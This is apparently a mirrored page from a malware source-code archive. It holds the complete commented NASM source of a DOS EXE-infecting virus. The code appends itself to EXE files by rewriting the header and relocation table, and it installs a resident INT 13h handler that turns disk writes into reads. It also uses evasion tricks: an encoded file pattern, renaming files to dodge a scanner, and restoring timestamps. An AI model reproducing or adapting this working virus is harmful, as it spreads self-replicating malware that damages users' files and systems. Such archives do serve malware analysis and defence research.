mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 04:45:27 +00:00
724 lines
29 KiB
NASM
724 lines
29 KiB
NASM
|
;--------------------------------------------------------------------;
|
|||
|
; ;
|
|||
|
; EXE virus, with resident part ;
|
|||
|
; ;
|
|||
|
; ---- infecting program ---- ;
|
|||
|
; ;
|
|||
|
;--------------------------------------------------------------------;
|
|||
|
|
|||
|
;--------------------------------------------------------------------;
|
|||
|
; ;
|
|||
|
; WARNING : it's definitely NOT safe to assemble and execute ;
|
|||
|
; this code. If anybody has to, I highly reccomend using ;
|
|||
|
; a diskette and debugger. ;
|
|||
|
; ;
|
|||
|
;--------------------------------------------------------------------;
|
|||
|
|
|||
|
;*********************************************************************
|
|||
|
|
|||
|
;--------------------------------------------------------------------;
|
|||
|
; ;
|
|||
|
; The EXE virus concept is as follows: ;
|
|||
|
; ;
|
|||
|
; First, original Disk Transfer Address is preserved to avoid ;
|
|||
|
; changing command-line text. Also initial values of CS, IP, SS, SP ;
|
|||
|
; DS and ES are saved (to be restored on exit from virus code). ;
|
|||
|
; Virus is to be appended to original code and, of course, has ;
|
|||
|
; to be relocated before it's executed. Thus, first we look for ;
|
|||
|
; an EXE file. Then we have to know if this is in fact an EXE ;
|
|||
|
; (checking for magic 'MZ' signature) and if there is any free space ;
|
|||
|
; in relocation table. This is checked by substracting relocation ;
|
|||
|
; table end (i.e. sum of table start and number of relocation items, ;
|
|||
|
; multiplied by table entry size) from EXE header size. ;
|
|||
|
; Smart virus shouldn't infect a file that's already infected. ;
|
|||
|
; So first 4 bytes of code to be executed is compared against ;
|
|||
|
; virus code. If they match one another, no infection takes place. ;
|
|||
|
; Having found suitable file, we compute its code end and append ;
|
|||
|
; virus at the end of code, writing alignment to last 512-bytes page ;
|
|||
|
; boundary if necessary. Original start address is preserved inside ;
|
|||
|
; virus, and CS:IP value in EXE header gets changed, so that virus ;
|
|||
|
; code would be executed first. Number of pages gets changed, ;
|
|||
|
; together with Last Page Size and Number Of Relocation Items. ;
|
|||
|
; New relocation item address is appended to relocation table, ;
|
|||
|
; pointing to the segment of the far jump in virus (this is the jump ;
|
|||
|
; virus uses to return to original code). ;
|
|||
|
; Upon returning from virus, all saved registers and DTA are ;
|
|||
|
; restored to reestablish environment state as if no virus existed. ;
|
|||
|
; ;
|
|||
|
; Virus also installs resident part, if it is not already present. ;
|
|||
|
; This part's job is to replace all disk 'writes' with corresponding ;
|
|||
|
; 'reads'. It's rather unharmful, but can easily be replaced with ;
|
|||
|
; more dangerous one (if somebody is really keen to be called ...). ;
|
|||
|
; Instalation can be removed with equal ease, as well. ;
|
|||
|
; ;
|
|||
|
; The real trouble with EXEs is that DOS pays a little (if any) ;
|
|||
|
; attention to Last Page Size. Therefore EXE files ofen have this ;
|
|||
|
; zeroed, even if they have some code on the last page. Writing to ;
|
|||
|
; last page can cause system crash while infected file is being ;
|
|||
|
; executed. To solve the problem, one should first test if EXE file ;
|
|||
|
; really ends as the header contents say and move to last page end ;
|
|||
|
; instead of appending any bytes, if possible. ;
|
|||
|
; ;
|
|||
|
; Another problem is infecting EXEs containg debug info. ;
|
|||
|
; It comes in various formats, and often contains vital informations ;
|
|||
|
; placed behind code. This info gets destroyed when file becomes ;
|
|||
|
; infected. I see no solution to this problem, so far. ;
|
|||
|
; ;
|
|||
|
;--------------------------------------------------------------------;
|
|||
|
|
|||
|
;********************************************************************;
|
|||
|
|
|||
|
;--------------------------------------------------------------------;
|
|||
|
; ;
|
|||
|
; SEGMENT dummy ;
|
|||
|
; ;
|
|||
|
; Raison d'etre of this segment is to force assembling of ;
|
|||
|
; the JMP FAR after the execution of virus code. ;
|
|||
|
; ;
|
|||
|
; This segment serves also to make it possible for the infecting ;
|
|||
|
; program to return to DOS. ;
|
|||
|
; ;
|
|||
|
;--------------------------------------------------------------------;
|
|||
|
|
|||
|
|
|||
|
dummy segment 'dummy'
|
|||
|
|
|||
|
assume cs: dummy
|
|||
|
|
|||
|
d_end label far ; this is the point virus jumps to
|
|||
|
; after executing itself
|
|||
|
mov ah, 4Ch
|
|||
|
int 21h ; DOS EXIT function
|
|||
|
|
|||
|
dummy ends
|
|||
|
|
|||
|
;--------------------------------------------------------------------;
|
|||
|
; ;
|
|||
|
; SEGMENT code ;
|
|||
|
; ;
|
|||
|
; Code for virus (including its resident part). ;
|
|||
|
; ;
|
|||
|
; Executed from label start:. Exits via dummy:d_end. ;
|
|||
|
; ;
|
|||
|
;--------------------------------------------------------------------;
|
|||
|
|
|||
|
code segment 'code'
|
|||
|
|
|||
|
public start, jump, old_IP, old_CS, old_DTA,
|
|||
|
public next, ok, exit, header, DTA, file_name, old_SS, old_SP, aux
|
|||
|
public last_page, page_count, item_count, header_size, table_start
|
|||
|
public header_IP, header_CS, header_SS, header_SP, aux_CS, aux_IP
|
|||
|
public not_ok, time, date, attributes, new_name, found_name
|
|||
|
public restore_and_close, dot, seek_dot, next_letter, install_flag
|
|||
|
public next_lttr, EXE_sign, int_CS, int_IP, virus_length, set_ES
|
|||
|
public resident, resident_size, l1, call_int, install, set_DS
|
|||
|
|
|||
|
assume cs : code, ds : code
|
|||
|
|
|||
|
;--------------------------------------------------------------------;
|
|||
|
; ;
|
|||
|
; Here are symbolic names for memory locations ;
|
|||
|
; ;
|
|||
|
;--------------------------------------------------------------------;
|
|||
|
|
|||
|
; First go names for EXE header contents
|
|||
|
|
|||
|
EXE_sign equ word ptr [header]
|
|||
|
last_page equ word ptr [header + 2]
|
|||
|
page_count equ word ptr [header + 4]
|
|||
|
item_count equ word ptr [header + 6]
|
|||
|
header_size equ word ptr [header + 8]
|
|||
|
header_SS equ word ptr [header + 0Eh]
|
|||
|
header_SP equ word ptr [header + 10h]
|
|||
|
header_IP equ word ptr [header + 14h]
|
|||
|
header_CS equ word ptr [header + 16h]
|
|||
|
table_start equ word ptr [header + 18h]
|
|||
|
|
|||
|
; Now names for address of mother program
|
|||
|
|
|||
|
old_IP equ word ptr [jump + 1]
|
|||
|
old_CS equ word ptr [jump + 3]
|
|||
|
|
|||
|
; Segment to put resident part in, for instance end of 2nd Hercules page
|
|||
|
|
|||
|
resident_CS equ 0BFFEh
|
|||
|
|
|||
|
; And label for the name of the file found by Find_First and Find_Next
|
|||
|
|
|||
|
found_name equ DTA + 1Eh
|
|||
|
|
|||
|
; Last is virus length
|
|||
|
|
|||
|
virus_length equ offset header
|
|||
|
|
|||
|
;------------ Now starts virus code --------------------------------;
|
|||
|
|
|||
|
; First original values of SS, SP, ES, DS are preserved,
|
|||
|
; and new values for this registers are set
|
|||
|
|
|||
|
start: mov cx, ss ; temporarily save SS in CX
|
|||
|
mov dx, sp ; and SP in DX
|
|||
|
|
|||
|
mov ax, cs ; now AX = CODE
|
|||
|
cli ; disable hard ints while changing stack
|
|||
|
mov ss, ax ; now SS = CODE
|
|||
|
mov sp, 0FFFFh ; and SS points to segment end
|
|||
|
sti ; hardware interrupts are OK now
|
|||
|
|
|||
|
push ds ; preserve DS on stack
|
|||
|
push es ; same with ES
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds ; set DS to CODE
|
|||
|
|
|||
|
mov [old_SS], cx ; now as DS is CODE, we can store
|
|||
|
mov [old_SP], dx ; original SS and SP in memory
|
|||
|
|
|||
|
; Original DTA is preserved now
|
|||
|
|
|||
|
mov ah, 2Fh
|
|||
|
int 21h
|
|||
|
mov word ptr [old_DTA], bx ; now ES:BX points to DTA
|
|||
|
mov word ptr [old_DTA + 2], es ; save its address in memory
|
|||
|
|
|||
|
; Call to Get_DTA would have destroyed ES. Now set it
|
|||
|
|
|||
|
push ds ; set ES to CODE
|
|||
|
pop es
|
|||
|
|
|||
|
; And now new DTA is established for virus disk actions
|
|||
|
|
|||
|
mov dx, offset DTA ; DS:DX point to new DTA
|
|||
|
mov ah, 1Ah
|
|||
|
int 21h
|
|||
|
|
|||
|
; Store original INT_13 vector for use in resident part
|
|||
|
|
|||
|
mov ax, 3513h
|
|||
|
int 21h ; DOS Get_Interrupt_Vector function
|
|||
|
|
|||
|
mov [int_IP], bx ; now ES:BX holds INT_13 vector
|
|||
|
mov [int_CS], es ; store it inside resident part
|
|||
|
|
|||
|
; Check if resident part already present
|
|||
|
|
|||
|
mov ax, es ; compare can work with AX
|
|||
|
|
|||
|
cmp ax, resident_CS ; check if this is resident_CS
|
|||
|
jnz install ; no, so install
|
|||
|
|
|||
|
cmp bx, 0 ; is offset 0 ?
|
|||
|
jnz install ; no, so install
|
|||
|
|
|||
|
; Resident part found, do not install
|
|||
|
|
|||
|
mov [install_flag], 0 ; signal 'no installing'
|
|||
|
|
|||
|
jmp short set_ES ; and omit copying code
|
|||
|
|
|||
|
; Now resident part is moved to its place in memory
|
|||
|
|
|||
|
install: mov ax, resident_CS
|
|||
|
mov es, ax ; ES = segment for resident part
|
|||
|
xor di, di ; DI = 0, resident starts from offset 0
|
|||
|
mov si, offset resident ; SI = offset in DS for resident part
|
|||
|
mov cx, resident_size ; CX = size of resident part
|
|||
|
|
|||
|
cld ; set auto increment
|
|||
|
rep movsb ; copy resident part from DS:SI to ES:DI
|
|||
|
|
|||
|
mov [install_flag], 1 ; signal 'instal vector'
|
|||
|
|
|||
|
; Reestablish destroyed ES to CODE
|
|||
|
|
|||
|
set_ES: push ds
|
|||
|
pop es
|
|||
|
|
|||
|
; Now decode "*.EXE" name pattern. It's coded to disable 'eye-shot' discovery
|
|||
|
|
|||
|
mov si, offset file_name ; name pattern starts there
|
|||
|
mov cx, 5 ; and is 5 bytes long
|
|||
|
|
|||
|
next_letter: inc byte ptr [si] ; decode by incrementing by one
|
|||
|
inc si
|
|||
|
loop next_letter ; decode all 5 bytes
|
|||
|
|
|||
|
; Find an EXE file
|
|||
|
|
|||
|
mov dx, offset file_name ; DS:DX points to '*.EXE'
|
|||
|
mov cx, 20h ; search for read-only files too
|
|||
|
|
|||
|
mov ah, 4Eh ; DOS Find_First function
|
|||
|
int 21h ; now DTA gets filled with info
|
|||
|
|
|||
|
jnc check ; no carry means file found
|
|||
|
; jump to check if to infect file
|
|||
|
|
|||
|
jmp exit ; no EXE file - nothing to do
|
|||
|
|
|||
|
; Find next EXE file, if necessary
|
|||
|
|
|||
|
next: mov ah, 4Fh ;DOS Find_Next function
|
|||
|
int 21h
|
|||
|
|
|||
|
jnc check ; see jumps after Find_First
|
|||
|
jmp exit ; for explanation
|
|||
|
|
|||
|
; Check if file should and can be infected
|
|||
|
|
|||
|
; First of all, get file attributes
|
|||
|
|
|||
|
check: mov dx, offset found_name ; DS:DX points to found file name
|
|||
|
|
|||
|
mov ax, 4300h ; DOS Get_File_Attributes function
|
|||
|
int 21h ; attributes returned in CX
|
|||
|
|
|||
|
mov [attributes], cx ; preserve them in memory
|
|||
|
|
|||
|
; Then change file attributes to 'neutral'
|
|||
|
|
|||
|
mov dx, offset found_name ; DS:DX points to found file name
|
|||
|
xor cx, cx ; CX = 0 - means no attributes set
|
|||
|
|
|||
|
mov ax, 4301h ; DOS Set_File_Attributes function
|
|||
|
int 21h ; attributes to be set in CX
|
|||
|
|
|||
|
; To avoid being spotted by VIRBLK, rename ????????.EXE to ???????.
|
|||
|
|
|||
|
mov si, offset found_name ; DS:DX points to found file name
|
|||
|
mov di, offset new_name ; ES:DI points to new name
|
|||
|
|
|||
|
cld ; set auto increment
|
|||
|
|
|||
|
; Copy old name to new name until dot found
|
|||
|
|
|||
|
seek_dot: lodsb ; get character at DS:SI
|
|||
|
cmp al, '.' ; check if it is a dot
|
|||
|
stosb ; copy it anyway to ES:DI
|
|||
|
|
|||
|
jz dot ; dot found, end of copying
|
|||
|
|
|||
|
loop seek_dot ; if no dot, copy next character
|
|||
|
|
|||
|
; DOS requires ASCIIZ strings, so append a byte of 0 to new name
|
|||
|
|
|||
|
dot: xor al, al ; AL = 0
|
|||
|
stosb ; store 0 to byte at ES:DI
|
|||
|
|
|||
|
; Now rename can be performed
|
|||
|
|
|||
|
mov dx, offset found_name ; DS:DX points to old name
|
|||
|
mov di, offset new_name ; ES:DI points to new name
|
|||
|
|
|||
|
mov ah, 56h ; DOS Rename_File function
|
|||
|
int 21h
|
|||
|
|
|||
|
; It is safe to open file now
|
|||
|
|
|||
|
mov dx, offset new_name ; DS:DX points to file name
|
|||
|
|
|||
|
mov ax, 3D02h ; DOS Open_File_Handle fuction
|
|||
|
int 21h ; open file for reading and writing
|
|||
|
|
|||
|
jc next ; carry set means for some reason
|
|||
|
; operation failed
|
|||
|
; try to find next file
|
|||
|
|
|||
|
; Preserve handle for just open file in BX register
|
|||
|
|
|||
|
mov bx, ax ; all DOS calls require handle in BX
|
|||
|
|
|||
|
; Now store original file time and date, to be restored on closing the file
|
|||
|
|
|||
|
mov ax, 5700h ; DOS Get_File_Time_Date function
|
|||
|
int 21h ; time returned in CX, date in DX
|
|||
|
|
|||
|
mov [time], cx ; store time in memory
|
|||
|
mov [date], dx ; same with date
|
|||
|
|
|||
|
; Read EXE header to memory
|
|||
|
|
|||
|
mov dx, offset header ; DS:DX = place to read header to
|
|||
|
mov cx, 1Ah ; header is 1Ah bytes long
|
|||
|
|
|||
|
mov ah, 3Fh ; DOS Read_Handle function
|
|||
|
int 21h
|
|||
|
|
|||
|
; Check if it is a real EXE, not just EXE-named file
|
|||
|
|
|||
|
check_EXE: cmp EXE_sign, 5A4Dh ; first two bytes of header should
|
|||
|
; contain 'MZ' characters
|
|||
|
|
|||
|
jne not_ok ; if not, don't proceed with file
|
|||
|
|
|||
|
; It is EXE, check if it is already infected
|
|||
|
; by comparing code start with itself
|
|||
|
|
|||
|
; Compute where code in file starts
|
|||
|
|
|||
|
mov ax, [header_CS] ; get start CS for file
|
|||
|
add ax, [header_size] ; add header size
|
|||
|
|
|||
|
mov cx, 16 ; above were in 16 bytes units
|
|||
|
mul cx ; so multiply by 16
|
|||
|
; DX|AX holds result
|
|||
|
|
|||
|
add ax, [header_IP] ; add for IP
|
|||
|
adc dx, 0 ; propagate carry if necessasry
|
|||
|
|
|||
|
; Now DX|AX holds file offset for code start, move there
|
|||
|
|
|||
|
mov cx, dx ; set registers for DOS call
|
|||
|
mov dx, ax
|
|||
|
|
|||
|
mov ax, 4200h ; DOS Move_File_Ptr function
|
|||
|
int 21h ; move relatively to start
|
|||
|
|
|||
|
; Read first four bytes of code
|
|||
|
|
|||
|
mov dx, offset aux ; DS:DX = place to read code into
|
|||
|
mov cx, 4 ; CX = number of bytes to read
|
|||
|
|
|||
|
mov ah, 3Fh ; DOS Read_Handle function
|
|||
|
int 21h
|
|||
|
|
|||
|
; Compare them with itself
|
|||
|
|
|||
|
mov di, offset aux ; ES:DI points to code from file
|
|||
|
mov si, offset start ; DS:SI points to itself start
|
|||
|
mov cx, 2 ; CX = number of words to compare
|
|||
|
cld ; set auto increment
|
|||
|
|
|||
|
repe cmpsw ; compare while equal
|
|||
|
|
|||
|
je not_ok ; equal = infected, don't proceed
|
|||
|
|
|||
|
; Check if there is space in relocation table to put one more item
|
|||
|
|
|||
|
; Calculate where Relocation_Table ends
|
|||
|
|
|||
|
mov ax, [item_count] ; get number of Relocation Items
|
|||
|
inc ax ; add for new one
|
|||
|
mov cx, 4 ; each one is 4 bytes long
|
|||
|
mul cx ; so multiply by 4
|
|||
|
; DX|AX holds result
|
|||
|
|
|||
|
add ax, [table_start] ; add offset of Relocation_Table
|
|||
|
adc dx, 0 ; process carry
|
|||
|
|
|||
|
; Now DX|AX holds file offset for table end, store it temporarily in DI|SI
|
|||
|
|
|||
|
mov di, dx ; preserve Relocation_Table offset
|
|||
|
mov si, ax
|
|||
|
|
|||
|
; Calculate where code starts (in file)
|
|||
|
|
|||
|
mov ax, [header_size] ; get header size for this EXE
|
|||
|
mov cx, 10h ; as it is in 16 byte units,
|
|||
|
mul cx ; multiply by 16
|
|||
|
; DX|AX holds result
|
|||
|
|
|||
|
; See if there is free space for relocation item
|
|||
|
|
|||
|
sub ax, si ; substract Relocation_Table end
|
|||
|
sbb dx, di
|
|||
|
|
|||
|
jae ok ; Relocation_Table end not less
|
|||
|
; then code start, so there IS room
|
|||
|
|
|||
|
; If somehow this file is not to be infected, restore it's original state
|
|||
|
|
|||
|
not_ok: call restore_and_close
|
|||
|
|
|||
|
jmp next ; nevertheless, try to find infectable one
|
|||
|
|
|||
|
; File is to be infected now
|
|||
|
|
|||
|
; First adjust file offset for new relocation item
|
|||
|
|
|||
|
ok: sub si, 4 ; new item starts 4 bytes
|
|||
|
sbb di, 0 ; before Relocation_Table end
|
|||
|
|
|||
|
; Then preserve temporarily address of the mother code
|
|||
|
|
|||
|
mov ax, [old_CS] ; preserve jump address via AX
|
|||
|
mov [aux_CS], ax ; in memory
|
|||
|
mov ax, [old_IP]
|
|||
|
mov [aux_IP], ax
|
|||
|
|
|||
|
; Form inside itself a jump to new mother start
|
|||
|
|
|||
|
mov ax, [header_IP] ; store new mother CS:IP as jump
|
|||
|
mov [old_IP], ax ; do it via AX
|
|||
|
mov ax, [header_CS]
|
|||
|
mov [old_CS], ax
|
|||
|
|
|||
|
; Calculate last page alignment
|
|||
|
|
|||
|
mov cx, [last_page] ; CX = number of bytes in last page
|
|||
|
mov ax, 200h ; AX = page size (page is 512 bytes)
|
|||
|
|
|||
|
sub ax, cx ; CX = alignment to page boundary
|
|||
|
|
|||
|
mov bp, ax ; preserve alignment in BP
|
|||
|
|
|||
|
; Calculate new CS:IP values to execute virus instead of mother
|
|||
|
|
|||
|
mov ax, [page_count] ; get number of pages in new mother
|
|||
|
mov cx, 20h ; multiply by 32 to convert to
|
|||
|
mul cx ; 16 bytes units
|
|||
|
|
|||
|
sub ax, [header_size] ; decrease by header size
|
|||
|
|
|||
|
; Modify header as necessary
|
|||
|
|
|||
|
mov [header_CS], ax ; AX holds CS for virus
|
|||
|
xor ax, ax ; now zero AX
|
|||
|
mov [header_IP], ax ; as IP for virus is 0
|
|||
|
|
|||
|
add [page_count], 2 ; reserve space for virus
|
|||
|
|
|||
|
inc [item_count] ; there'll be one more item
|
|||
|
|
|||
|
mov [last_page], offset header ; last page will be as long
|
|||
|
; as virus itself
|
|||
|
and [last_page], 1FFh ; modulo 512, of course
|
|||
|
|
|||
|
; Move to file start
|
|||
|
|
|||
|
xor cx, cx ; start means offset 0
|
|||
|
xor dx, dx
|
|||
|
|
|||
|
mov ax, 4200h ; DOS Move_File_Ptr function
|
|||
|
int 21h ; move relatively to start
|
|||
|
|
|||
|
; Write new header
|
|||
|
|
|||
|
mov dx, offset header ; DS:DX points to new header
|
|||
|
mov cx, 1Ah ; which is still 1A bytes long
|
|||
|
|
|||
|
mov ah, 40h ; DOS Write_Handle function
|
|||
|
int 21h
|
|||
|
|
|||
|
; Move to new Relocation Item position
|
|||
|
|
|||
|
mov cx, di ; get stored position from DI|SI
|
|||
|
mov dx, si
|
|||
|
|
|||
|
mov ax, 4200h ; DOS Move_File_Ptr function
|
|||
|
int 21h ; move relatively to start
|
|||
|
|
|||
|
; Write new relocation item
|
|||
|
|
|||
|
mov [header_IP], offset old_CS ; new Relocation Item offset
|
|||
|
; is jump to new mother code
|
|||
|
|
|||
|
mov dx, offset header_IP ; DS:DX = new relocation item
|
|||
|
mov cx, 4 ; exactly 4 bytes long
|
|||
|
|
|||
|
mov ah, 40h ; DOS Write_Handle function
|
|||
|
int 21h
|
|||
|
|
|||
|
; Calculate file offset for new mother code end
|
|||
|
|
|||
|
mov ax, [header_CS] ; get mother code lenght
|
|||
|
add ax, [header_size] ; add header size
|
|||
|
mov cx, 10h ; it's in 16 bytes units
|
|||
|
mul cx ; so multiply by 16
|
|||
|
|
|||
|
sub ax, bp ; last page is not full
|
|||
|
sbb dx, 0 ; so move back appropirately
|
|||
|
|
|||
|
; Move file ptr to mother code end
|
|||
|
|
|||
|
mov cx, dx ; DX|AX = file offset to code end
|
|||
|
mov dx, ax ; set CX|DX for DOS call
|
|||
|
|
|||
|
mov ax, 4200h ; DOS Move_File_Ptr function
|
|||
|
int 21h ; move relatively to start
|
|||
|
|
|||
|
; Write alignement (no matter what, only number is important)
|
|||
|
|
|||
|
mov cx, bp ; get alignement amount
|
|||
|
|
|||
|
mov ah, 40h ; DOS Write_Handle function
|
|||
|
int 21h ; write CX bytes
|
|||
|
|
|||
|
; Now prepare to append itself to EXE file
|
|||
|
|
|||
|
; First encode EXE name patter anew
|
|||
|
|
|||
|
mov si, offset file_name ; DS:SI points to name pattern
|
|||
|
mov cx, 5 ; it is 5 characters long
|
|||
|
|
|||
|
next_lttr: dec byte ptr [si] ; encode by decrement
|
|||
|
inc si
|
|||
|
loop next_lttr ; encode all 5 characters
|
|||
|
|
|||
|
; All ready, append itself now
|
|||
|
|
|||
|
xor dx, dx ; DX = 0, start offset for virus code
|
|||
|
mov cx, virus_length ; CX = number of bytes to write
|
|||
|
|
|||
|
mov ah, 40h ; DOS Write_Handle function
|
|||
|
int 21h
|
|||
|
|
|||
|
; No further action involving file will be taken, so restore it's state
|
|||
|
|
|||
|
call restore_and_close ; restore date and time, close file
|
|||
|
|
|||
|
; Restore jump to this mother code
|
|||
|
|
|||
|
mov ax, [aux_CS] ; restore jump addres via AX
|
|||
|
mov [old_CS], ax
|
|||
|
mov ax, [aux_IP]
|
|||
|
mov [old_IP], ax
|
|||
|
|
|||
|
; All done with infecting, prepare to execute mother
|
|||
|
|
|||
|
; Restore original DTA
|
|||
|
|
|||
|
push ds ; preserve DS (now DS = CODE)
|
|||
|
|
|||
|
exit: lds dx, old_DTA ; get original DTA address to DS:DX
|
|||
|
|
|||
|
mov ah, 1Ah ; DOS Set_DTA function
|
|||
|
int 21h
|
|||
|
|
|||
|
; Check if install new INT_13 vector
|
|||
|
|
|||
|
cmp [install_flag], 0 ; 0 means no installing
|
|||
|
|
|||
|
jz set_DS ; omit installing
|
|||
|
|
|||
|
; Install resident part
|
|||
|
|
|||
|
mov ax, resident_CS ; load CS for resident to DS (via AX)
|
|||
|
mov ds, ax
|
|||
|
xor dx, dx ; DS:DX = address of resident part
|
|||
|
|
|||
|
mov ax, 2513h ; DOS Set_Interrupt_Vector function
|
|||
|
int 21h ; set vector for INT_13
|
|||
|
|
|||
|
set_DS: pop ds ; restore DS to CODE
|
|||
|
|
|||
|
mov bx, [old_SS] ; BX = original SS
|
|||
|
mov cx, [old_SP] ; CX = original SP
|
|||
|
|
|||
|
pop es ; restore original DS and ES
|
|||
|
pop ds
|
|||
|
|
|||
|
cli ; disable hardware interrupts
|
|||
|
mov sp, cx ; while restoring original SS:SP
|
|||
|
mov ss, bx
|
|||
|
sti ; enable hardware interrupts
|
|||
|
|
|||
|
; Virus has done all its job, now let mother do its own
|
|||
|
|
|||
|
jump: jmp dummy:d_end ; jump to original code
|
|||
|
|
|||
|
|
|||
|
;----------- here is the one and only procedure -------------------;
|
|||
|
|
|||
|
restore_and_close proc near
|
|||
|
|
|||
|
; Restore original file time and date
|
|||
|
|
|||
|
mov cx, [time] ; get saved time
|
|||
|
mov dx, [date] ; get saved date
|
|||
|
|
|||
|
mov ax, 5701h ; DOS Set_File_Time_Date function
|
|||
|
int 21h ; time set as CX, date as DX
|
|||
|
|
|||
|
; Close file
|
|||
|
|
|||
|
mov ah, 3Eh ; DOS Close_File function
|
|||
|
int 21h
|
|||
|
|
|||
|
; Restore original name
|
|||
|
|
|||
|
mov dx, offset new_name ; DS:DX points to new name
|
|||
|
mov di, offset found_name ; ES:DI points to original name
|
|||
|
|
|||
|
mov ah, 56h ; DOS Rename_File function
|
|||
|
int 21h
|
|||
|
|
|||
|
; Restore original file attributes
|
|||
|
|
|||
|
mov dx, offset found_name ; restore attributes
|
|||
|
mov cx, [attributes]
|
|||
|
|
|||
|
mov ax, 4301h ; DOS Set_File_Attributes function
|
|||
|
int 21h ; attributes set as CX
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
restore_and_close endp
|
|||
|
|
|||
|
|
|||
|
;------------ and here go the resident part of the virus -------------;
|
|||
|
|
|||
|
resident: pushf ; save flags
|
|||
|
|
|||
|
cmp ah, 3 ; is it Disk_Write_1 ?
|
|||
|
jnz l1 ; no, check Disk_Write_2
|
|||
|
|
|||
|
mov ah, 2 ; yes, convert to Disk_Read_1
|
|||
|
jmp short call_int ; and exit resident
|
|||
|
|
|||
|
l1: cmp ah, 0Bh ; is it Disk_Write_2 ?
|
|||
|
jnz call_int ; no, exit resident
|
|||
|
|
|||
|
mov ah, 0Ah ; yes, convert to Disk_Read_2
|
|||
|
|
|||
|
call_int: popf ; restore flags
|
|||
|
|
|||
|
|
|||
|
; Next 5 bytes form long jump to original INT_13 handler
|
|||
|
|
|||
|
db 0EAh ; means JMP FAR
|
|||
|
|
|||
|
int_IP dw 0 ; and here the address to jump to
|
|||
|
int_CS dw 0
|
|||
|
|
|||
|
resident_size equ $ - resident
|
|||
|
|
|||
|
;-------- now data for virus, just encoded file name pattern -------;
|
|||
|
|
|||
|
file_name db ')-DWD', 0
|
|||
|
|
|||
|
;-------------------------------------------------------------------;
|
|||
|
; ;
|
|||
|
; Here VIRUS ends. The rest are purely placeholders ;
|
|||
|
; ;
|
|||
|
;-------------------------------------------------------------------;
|
|||
|
|
|||
|
;*******************************************************************;
|
|||
|
|
|||
|
header dw 13 dup (0)
|
|||
|
|
|||
|
old_SS dw 0
|
|||
|
old_SP dw 0
|
|||
|
|
|||
|
aux_CS dw 0
|
|||
|
aux_IP dw 0
|
|||
|
|
|||
|
old_DTA dd 0
|
|||
|
|
|||
|
time dw 0
|
|||
|
date dw 0
|
|||
|
|
|||
|
attributes dw 0
|
|||
|
|
|||
|
install_flag db 0
|
|||
|
|
|||
|
new_name db 9 dup (0)
|
|||
|
|
|||
|
DTA dw 2Ch dup (0)
|
|||
|
|
|||
|
aux dw 2 dup (0)
|
|||
|
|
|||
|
code ends
|
|||
|
|
|||
|
end start
|
|||
|
|